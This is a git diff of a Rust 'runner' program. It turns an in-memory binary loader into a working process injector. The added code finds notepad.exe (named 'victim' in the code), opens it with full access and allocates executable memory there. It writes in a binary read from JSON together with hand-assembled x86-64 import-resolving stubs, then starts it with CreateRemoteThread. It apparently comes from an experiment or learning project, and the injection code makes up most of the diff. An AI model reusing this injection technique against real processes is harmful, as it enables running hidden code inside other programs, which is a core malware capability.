diff --git a/runner/Cargo.lock b/runner/Cargo.lock
index 779e0a7..7c446b7 100644
--- a/runner/Cargo.lock
+++ b/runner/Cargo.lock
@@ -284,6 +284,7 @@ dependencies = [
  "serde_json",
  "serde_with",
  "windows-sys",
+ "winres",
 ]
 
 [[package]]
@@ -423,6 +424,15 @@ dependencies = [
  "time-core",
 ]
 
+[[package]]
+name = "toml"
+version = "0.5.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234"
+dependencies = [
+ "serde",
+]
+
 [[package]]
 name = "unicode-ident"
 version = "1.0.18"
@@ -618,3 +628,12 @@ name = "windows_x86_64_msvc"
 version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
+
+[[package]]
+name = "winres"
+version = "0.1.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b68db261ef59e9e52806f688020631e987592bd83619edccda9c47d42cde4f6c"
+dependencies = [
+ "toml",
+]
diff --git a/runner/Cargo.toml b/runner/Cargo.toml
index 486d383..281d72a 100644
--- a/runner/Cargo.toml
+++ b/runner/Cargo.toml
@@ -8,4 +8,7 @@ serde = {version = "1.0.219", features=["derive"]}
 serde_bytes = "0.11.17"
 serde_json = "1.0.140"
 serde_with = {version="3.12.0", features=["base64"]}
-windows-sys = {version="0.59.0", features=["Win32_System_Memory", "Win32_System_LibraryLoader"]}
+windows-sys = {version="0.59.0", features=["Win32_System_Memory", "Win32_System_LibraryLoader", "Win32_System_Diagnostics_ToolHelp", "Win32_System_Threading", "Win32_System_Diagnostics_Debug", "Win32_Security"]}
+
+[build-dependencies]
+winres = "0.1.12"
diff --git a/runner/build.rs b/runner/build.rs
new file mode 100644
index 0000000..6752c62
--- /dev/null
+++ b/runner/build.rs
@@ -0,0 +1,22 @@
+extern crate winres;
+
+fn main() {
+    /*
+    let mut res = winres::WindowsResource::new();
+    res.set_manifest(
+        r#"
+    <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
+    <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
+        <security>
+            <requestedPrivileges>
+                <requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
+            </requestedPrivileges>
+        </security>
+    </trustInfo>
+    </assembly>
+    "#,
+    );
+    res.compile()
+        .expect("expected to be able to build resources");
+    */
+}
diff --git a/runner/src/main.rs b/runner/src/main.rs
index 3df214b..0163354 100644
--- a/runner/src/main.rs
+++ b/runner/src/main.rs
@@ -1,4 +1,5 @@
-use std::ffi::c_void;
+use std::ffi::{c_void, CStr};
+use std::mem::MaybeUninit;
 use std::ptr;
 use std::{fs::File, io::Read};
 
@@ -7,9 +8,15 @@ use serde_with::base64::{Base64, Standard};
 use serde_with::formats::Padded;
 use serde_with::serde_as;
 
-use windows_sys::Win32::Foundation::HMODULE;
-use windows_sys::Win32::System::LibraryLoader;
+use windows_sys::Win32::Foundation::{GetLastError, PROC};
+use windows_sys::Win32::System::Diagnostics::Debug;
+use windows_sys::Win32::System::Diagnostics::ToolHelp::{self, PROCESSENTRY32};
 use windows_sys::Win32::System::Memory;
+use windows_sys::Win32::System::Threading::PROCESS_ALL_ACCESS;
+use windows_sys::Win32::System::{LibraryLoader, Threading};
+
+const LOAD_LIBRARY_A: *const c_void = LibraryLoader::LoadLibraryA as *const c_void;
+const GET_PROC_ADDRESS: *const c_void = LibraryLoader::GetProcAddress as *const c_void;
 
 #[serde_as]
 #[derive(Debug, Deserialize)]
@@ -32,54 +39,286 @@ struct Binary {
     entry_point: usize,
 }
 fn main() {
-    unsafe { _main() }
+    unsafe { _main_remote() }
 }
-unsafe fn _main() {
+
+struct LocalWriter {
+    binary: *mut u8,
+    base: *mut u8,
+    ptr: *mut u8,
+}
+struct Measurer {
+    count: usize,
+}
+
+impl Measurer {}
+
+trait CodeGen {
+    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void;
+
+    unsafe fn write_ptr(&mut self, ptr: *const c_void) -> *const c_void {
+        let bytes = unsafe { std::mem::transmute::<*const c_void, [u8; 8]>(ptr) };
+        self.write(&bytes)
+    }
+
+    unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void;
+}
+
+impl Measurer {
+    fn round_up(&mut self) {
+        self.count = (self.count + 15) / 16 * 16;
+    }
+}
+
+impl CodeGen for LocalWriter {
+    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
+        let addr = self.ptr;
+        for u in u8s {
+            *self.ptr = *u;
+            self.ptr = self.ptr.byte_add(1);
+        }
+        self.binary.offset(addr.offset_from(self.base)) as *const c_void
+    }
+
+    unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void {
+        self.binary.byte_add(offset) as *const c_void
+    }
+}
+
+impl CodeGen for Measurer {
+    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
+        self.count += u8s.len();
+        return ptr::null();
+    }
+
+    unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void {
+        return ptr::null();
+    }
+}
+
+unsafe fn write_imports(
+    strings: &mut impl CodeGen,
+    code: &mut impl CodeGen,
+    original_entry_point: usize,
+    imports: &[Import],
+) {
+    // push rbp
+    code.write(&[0x55]);
+    // mov rbp, rsp
+    code.write(&[0x48, 0x89, 0xe5]);
+    // nop
+    code.write(&[0x90]);
+    // sub rsp, 0x20
+    code.write(&[0x48, 0x83, 0xec, 0x20]);
+    // windows needs 32 bytes to clobber: https://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_x64_calling_convention
+    for import in imports {
+        let library_addr = strings.write(&import.dll);
+        strings.write(&[0]);
+        let symbol_addr = strings.write(&import.symbol);
+        strings.write(&[0]);
+
+        // mov rcx, library name
+        code.write(&[0x48, 0xb9]);
+        code.write_ptr(library_addr);
+        // mov rax, LoadLibraryA
+        code.write(&[0x48, 0xb8]);
+        code.write_ptr(LOAD_LIBRARY_A);
+        // call rax
+        code.write(&[0xff, 0xd0]);
+
+        // mov rcx, rax
+        code.write(&[0x48, 0x89, 0xc1]);
+        // mov rdx, symbol name
+        code.write(&[0x48, 0xba]);
+        code.write_ptr(symbol_addr);
+        // mov rax, GetProcAddress
+        code.write(&[0x48, 0xb8]);
+        code.write_ptr(GET_PROC_ADDRESS);
+        // call rax
+        code.write(&[0xff, 0xd0]);
+        // mov [import address], rax
+        code.write(&[0x48, 0xa3]);
+        let addr = code.address_in_binary(import.address);
+        code.write_ptr(addr);
+    }
+    // mov rax, original entry point
+    code.write(&[0x48, 0xb8]);
+    let addr = code.address_in_binary(original_entry_point);
+    // let addr = load_library_a;
+    code.write_ptr(addr);
+    // call rax
+    code.write(&[0xff, 0xd0]);
+    // leave, ret
+    code.write(&[0xc9, 0xc3]);
+}
+
+unsafe fn _main_remote() {
     let mut input = File::open("binaries/main.json").unwrap();
     let mut buf: Vec<u8> = vec![];
     let _ = input.read_to_end(&mut buf).unwrap();
 
     let binary = serde_json::from_slice::<Binary>(&buf).unwrap();
-    println!("Binary: {:?}", binary);
 
-    let address_space = Memory::VirtualAlloc(
+    let mut string_measurer = Measurer { count: 0 };
+    let mut code_measurer = Measurer { count: 0 };
+    write_imports(
+        &mut string_measurer,
+        &mut code_measurer,
+        binary.entry_point,
+        &binary.imports,
+    );
+    // string_measurer.round_up();
+    // code_measurer.round_up();
+
+    // TODO: Alignment
+    let Some(victim) = identify_victim() else {
+        println!("couldn't find victim");
+        return;
+    };
+    let remote = Threading::OpenProcess(PROCESS_ALL_ACCESS, 0, victim);
+    if remote == ptr::null_mut() {
+        println!("got null");
+        return;
+    }
+    let total_size = binary.starting_state.len() + string_measurer.count + code_measurer.count;
+    let remote_address_space = Memory::VirtualAllocEx(
+        remote,
         ptr::null(),
-        binary.starting_state.len(),
+        total_size,
         Memory::MEM_COMMIT | Memory::MEM_RESERVE,
         Memory::PAGE_EXECUTE_READWRITE,
     );
+    let local_address_space = Memory::VirtualAlloc(
+        ptr::null(),
+        total_size,
+        Memory::MEM_COMMIT | Memory::MEM_RESERVE,
+        Memory::PAGE_EXECUTE_READWRITE,
+    );
+
+    local_address_space.copy_from(
+        binary.starting_state.as_ptr() as *const c_void,
+        binary.starting_state.len(),
+    );
+
+    let strings = local_address_space.byte_add(binary.starting_state.len());
+    let prelude = strings.byte_add(string_measurer.count);
+    let mut strings_writer = LocalWriter {
+        binary: remote_address_space as *mut u8,
+        base: local_address_space as *mut u8,
+        ptr: strings as *mut u8,
+    };
+    let mut prelude_writer = LocalWriter {
+        binary: remote_address_space as *mut u8,
+        base: local_address_space as *mut u8,
+        ptr: prelude as *mut u8,
+    };
+    write_imports(
+        &mut strings_writer,
+        &mut prelude_writer,
+        binary.entry_point,
+        &binary.imports,
+    );
+    println!("error: {}", GetLastError());
+    println!(
+        "Copying memory to foreign process (at {:?} from {:?} get {:?})",
+        remote_address_space, local_address_space, total_size
+    );
+    Debug::WriteProcessMemory(
+        remote,
+        remote_address_space,
+        local_address_space,
+        total_size,
+        ptr::null_mut(),
+    );
+    println!("error: {}", GetLastError());
+    println!("Creating remote thread");
+
+    let entry_point =
+        remote_address_space.byte_add(binary.starting_state.len() + string_measurer.count);
+    println!("Entry point: {:?}", entry_point);
+    Threading::CreateRemoteThread(
+        remote,
+        ptr::null(),
+        0,
+        Some(std::mem::transmute::<
+            *mut c_void,
+            unsafe extern "system" fn(*mut c_void) -> u32,
+        >(entry_point)),
+        ptr::null(),
+        0,
+        ptr::null_mut(),
+    );
+    println!("error: {}", GetLastError());
+    println!("Done!");
+}
+
+unsafe fn identify_victim() -> Option<u32> {
+    let snapshot = ToolHelp::CreateToolhelp32Snapshot(ToolHelp::TH32CS_SNAPPROCESS, 0);
+    let mut entry: MaybeUninit<PROCESSENTRY32> = MaybeUninit::uninit();
+    entry.assume_init_mut().dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
+    let mut process = ToolHelp::Process32First(snapshot, entry.as_mut_ptr());
+    println!("error: {}; process: {}", GetLastError(), process);
+    while process != 0 {
+        let entry_ref = entry.assume_init_ref();
+        let name = CStr::from_ptr(entry_ref.szExeFile.as_ptr());
+        println!("peeking: {:?}", name);
+        if name.eq(CStr::from_bytes_with_nul_unchecked(b"notepad.exe\x00")) {
+            return Some(entry_ref.th32ProcessID);
+        }
+        process = ToolHelp::Process32Next(snapshot, entry.as_mut_ptr());
+    }
+    return None;
+}
+/*
+unsafe fn _main_local() {
+    let mut input = File::open("binaries/main.json").unwrap();
+    let mut buf: Vec<u8> = vec![];
+    let _ = input.read_to_end(&mut buf).unwrap();
+
+    let binary = serde_json::from_slice::<Binary>(&buf).unwrap();
+
+    let mut string_measurer = Measurer { count: 0 };
+    let mut code_measurer = Measurer { count: 0 };
+    write_imports(
+        &mut string_measurer,
+        &mut code_measurer,
+        binary.entry_point,
+        &binary.imports,
+    );
+
+    // TODO: Alignment
+    let address_space = Memory::VirtualAlloc(
+        ptr::null(),
+        binary.starting_state.len() + string_measurer.count + code_measurer.count,
+        Memory::MEM_COMMIT | Memory::MEM_RESERVE,
+        Memory::PAGE_EXECUTE_READWRITE,
+    );
+
     address_space.copy_from(
         binary.starting_state.as_ptr() as *const c_void,
         binary.starting_state.len(),
     );
-    for i in binary.imports.iter() {
-        let mut lcpstr_dll = vec![];
-        lcpstr_dll.extend(&i.dll);
-        lcpstr_dll.push(0);
 
-        let mut lpcstr_procname = vec![];
-        lpcstr_procname.extend(&i.symbol);
-        lpcstr_procname.push(0);
+    let strings = address_space.byte_add(binary.starting_state.len());
+    let prelude = strings.byte_add(string_measurer.count);
+    let mut strings_writer = LocalWriter {
+        binary: address_space as *mut u8,
+        ptr: strings as *mut u8,
+    };
+    let mut prelude_writer = LocalWriter {
+        binary: address_space as *mut u8,
+        ptr: prelude as *mut u8,
+    };
+    write_imports(
+        &mut strings_writer,
+        &mut prelude_writer,
+        binary.entry_point,
+        &binary.imports,
+    );
 
-        println!("handling import");
-        let dll: HMODULE = LibraryLoader::LoadLibraryA(lcpstr_dll.as_ptr());
+    let function: unsafe extern "C" fn() -> *const c_void = std::mem::transmute(prelude);
 
-        // TODO: Free anything? No real need to.
-        let proc = LibraryLoader::GetProcAddress(dll, lpcstr_procname.as_ptr()).unwrap();
-        let proc_ptr = proc as *mut c_void;
-        println!(
-            "writing at {} out of {}",
-            i.address,
-            binary.starting_state.len()
-        );
-        let location = address_space.byte_add(i.address) as *mut *mut c_void;
-        *location = proc_ptr;
-        println!("handled import");
-    }
-    println!("done with imports");
-    let fn_start = address_space.byte_add(binary.entry_point);
-    let function: unsafe fn() -> () = std::mem::transmute(fn_start);
-
-    function();
-    println!("returned");
+    let result = function();
 }
+
+*/